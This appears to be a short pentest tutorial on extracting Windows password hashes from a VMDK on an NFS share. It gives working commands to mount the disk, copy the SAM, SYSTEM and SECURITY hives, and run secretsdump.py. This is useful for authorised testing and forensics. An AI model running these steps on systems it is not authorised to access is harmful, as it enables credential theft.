VMDK Password Hash Extraction

https://drmarmar.com/vmdk-credentials

sudo kpartx -av /mnt/NFS/Example.vmdk
sudo mount /dev/mapper/loop0p2 /mnt/tmp

From here you can copy the SAM, SYSTEM, and SECURITY hives, located in the “/Windows/System32/config” folder, to your local machine.

# Copy each of the following files to your local machine: SAM, SYSTEM, SECURITY
cp /mnt/tmp/Windows/System32/config/<SAM,SYSTEM,SECURITY> .

After you have copied the hives to your local machine, you can use Impacket’s secretsdump.py to extract password hashes from the hives.

# $SAM = path to SAM hive.
# $SECURITY = path to SECURITY hive
# $SYSTM = path to SYSTEM hive
secretsdump.py -sam $SAM -security $SECURITY -system $SYSTEM LOCAL